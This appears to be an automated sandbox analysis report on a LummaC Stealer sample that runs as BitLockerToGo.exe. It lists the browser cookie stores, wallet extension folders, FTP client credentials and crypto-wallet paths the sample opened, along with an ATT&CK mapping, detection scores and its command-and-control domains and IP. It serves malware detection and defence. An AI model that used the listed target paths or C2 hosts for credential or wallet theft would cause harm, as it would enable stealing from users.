Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla\Notes9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 1868, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 1868, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	2 OS Credential Dumping	111 Security Software Discovery	Remote Services	21 Input Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	21 Input Capture	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	4 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	12 System Information Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	42%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	Avira URL Cloud	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://potterryisiw.shop/s.j	100%	Avira URL Cloud	malware
https://potterryisiw.shop/l	100%	Avira URL Cloud	malware
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
penetratedpoopp.xyz	100%	Avira URL Cloud	malware
ellaboratepwsz.xyz	100%	Avira URL Cloud	malware
swellfrrgwwos.xyz	100%	Avira URL Cloud	malware
https://potterryisiw.shop/5	100%	Avira URL Cloud	malware
https://potterryisiw.shop/apip	100%	Avira URL Cloud	malware
https://potterryisiw.shop/api9	100%	Avira URL Cloud	malware
towerxxuytwi.xyz	100%	Avira URL Cloud	malware
willingyhollowsk.shop	0%	Avira URL Cloud	safe
https://potterryisiw.shop/apit	100%	Avira URL Cloud	malware
https://github.com/gabomdq/SDL_GameControllerDB	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
potterryisiw.shop	100%	Avira URL Cloud	malware
https://support.microsof	0%	Avira URL Cloud	safe
contintnetksows.shop	100%	Avira URL Cloud	malware
pedestriankodwu.xyz	100%	Avira URL Cloud	malware
https://potterryisiw.shop/apiRF2	100%	Avira URL Cloud	malware
https://potterryisiw.shop/api	100%	Avira URL Cloud	malware
foodypannyjsud.shop	100%	Avira URL Cloud	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	Avira URL Cloud	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.all	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	0%	Avira URL Cloud	safe
https://potterryisiw.shop/Ua3	100%	Avira URL Cloud	malware
https://potterryisiw.shop/	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
potterryisiw.shop	188.114.96.3	true	true		unknown
willingyhollowsk.shop	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
penetratedpoopp.xyz	true	Avira URL Cloud: malware	unknown
ellaboratepwsz.xyz	true	Avira URL Cloud: malware	unknown
swellfrrgwwos.xyz	true	Avira URL Cloud: malware	unknown
willingyhollowsk.shop	true	Avira URL Cloud: safe	unknown
towerxxuytwi.xyz	true	Avira URL Cloud: malware	unknown
https://potterryisiw.shop/api	true	Avira URL Cloud: malware	unknown
foodypannyjsud.shop	true	Avira URL Cloud: malware	unknown
pedestriankodwu.xyz	true	Avira URL Cloud: malware	unknown
contintnetksows.shop	true	Avira URL Cloud: malware	unknown
potterryisiw.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://potterryisiw.shop/l	BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	BitLockerToGo.exe, 00000002.00000003.1874360666.0000000004BFD000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874424086.0000000004BF6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://potterryisiw.shop/s.j	BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	BitLockerToGo.exe, 00000002.00000003.1874360666.0000000004BFD000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874424086.0000000004BF6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	BitLockerToGo.exe, 00000002.00000003.1904537368.0000000004CFB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://potterryisiw.shop/5	BitLockerToGo.exe, 00000002.00000003.1874159384.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://potterryisiw.shop/api9	BitLockerToGo.exe, 00000002.00000003.1954241985.0000000002A8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1978295733.0000000002A8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1954745771.0000000002A8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1977584516.0000000002A8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://potterryisiw.shop/apip	BitLockerToGo.exe, 00000002.00000003.1935300433.0000000002A83000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1935317283.0000000002A88000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/gabomdq/SDL_GameControllerDB	SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe	false	Avira URL Cloud: safe	unknown
https://potterryisiw.shop/apit	BitLockerToGo.exe, 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	BitLockerToGo.exe, 00000002.00000003.1904829294.0000000002AA3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://potterryisiw.shop/L	BitLockerToGo.exe, 00000002.00000003.1977800245.0000000002A3D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.1978249283.0000000002A3D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	BitLockerToGo.exe, 00000002.00000003.1874424086.0000000004BD2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.microsof	BitLockerToGo.exe, 00000002.00000003.1874360666.0000000004BFD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000002.00000003.1903390087.0000000004BDD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://potterryisiw.shop/apiRF2	BitLockerToGo.exe, 00000002.00000003.1874159384.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	BitLockerToGo.exe, 00000002.00000003.1874424086.0000000004BD2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	BitLockerToGo.exe, 00000002.00000003.1904537368.0000000004CFB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://potterryisiw.shop/	BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000002.00000003.1874881869.0000000002AD8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	BitLockerToGo.exe, 00000002.00000003.1915757668.0000000002A98000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1918253983.0000000002A9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://potterryisiw.shop/Ua3	BitLockerToGo.exe, 00000002.00000003.1874159384.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.1874093700.0000000002A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	potterryisiw.shop	European Union		13335	CLOUDFLARENETUS	true

General Information

